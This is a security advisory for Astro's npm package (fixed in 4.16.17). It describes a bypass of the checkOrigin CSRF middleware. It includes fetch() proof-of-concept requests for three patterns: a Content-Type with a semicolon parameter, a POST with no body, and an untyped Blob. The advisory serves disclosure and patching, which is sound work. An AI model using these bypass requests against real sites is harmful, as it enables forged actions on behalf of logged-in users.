Package	Affected Versions	Patched Versions	Severity
📦 astro (npm)	< 4.16.17	4.16.17	Moderate

Summary

Astro’s CSRF-protection middleware has a bug that lets certain requests bypass CSRF checks.

 

Details

When you enable the security.checkOrigin option in Astro’s configuration, the middleware is supposed to verify the origin of requests to prevent cross-site request forgery (CSRF) attacks. Here’s a simplified setup of such a configuration:

// astro.config.mjs
import { defineConfig } from ‘astro/config’;
import node from ‘@astrojs/node’;
export default defineConfig({
output: ‘server’,
security: { checkOrigin: true },
adapter: node({ mode: ‘standalone’ }),
});

With this configuration, requests made from a different origin (e.g., using the fetch API or a <form> tag) are blocked:

fetch(‘https://test.example.com/’, {
method: ‘POST’,
credentials: ‘include’,
body: ‘a=b’,
headers: { ‘Content-Type’: ‘application/x-www-form-urlencoded’ },
});
// => Response: “Cross-site POST form submissions are forbidden”

However, two specific patterns can bypass this protection.

Pattern 1: Semicolon in Content-Type

If the Content-Type header includes a semicolon-delimited parameter, the middleware fails to block the request. For example:

fetch(‘https://test.example.com’, {
method: ‘POST’,
credentials: ‘include’,
body: ‘test’,
headers: { ‘Content-Type’: ‘application/x-www-form-urlencoded; abc’ },
});
// => Server processes the request (Response Code: 200)

Browsers treat this as a simple request and skip preflight checks. As a result, the CSRF protection doesn’t activate.

---

Pattern 2: Missing Content-Type Header

Requests without the Content-Type header also bypass CSRF checks. There are two sub-patterns:

No body in the request

fetch(‘http://test.example.com’, {
method: ‘POST’,
credentials: ‘include’,
});

Blob object with no defined type

fetch(‘https://test.example.com’, {
method: ‘POST’,
credentials: ‘include’,
body: new Blob([‘a=b’], {}),
});

In both cases, the middleware doesn’t recognize these as CSRF attempts, and the server processes the request.

 

Impact

This vulnerability allows attackers to bypass Astro’s CSRF protection middleware. They could potentially perform unauthorized actions by exploiting this flaw. However, note that browsers with third-party cookie blocking may still prevent cookies from being sent in these requests. This blocking depends on the browser version and settings and is not a replacement for proper CSRF protection.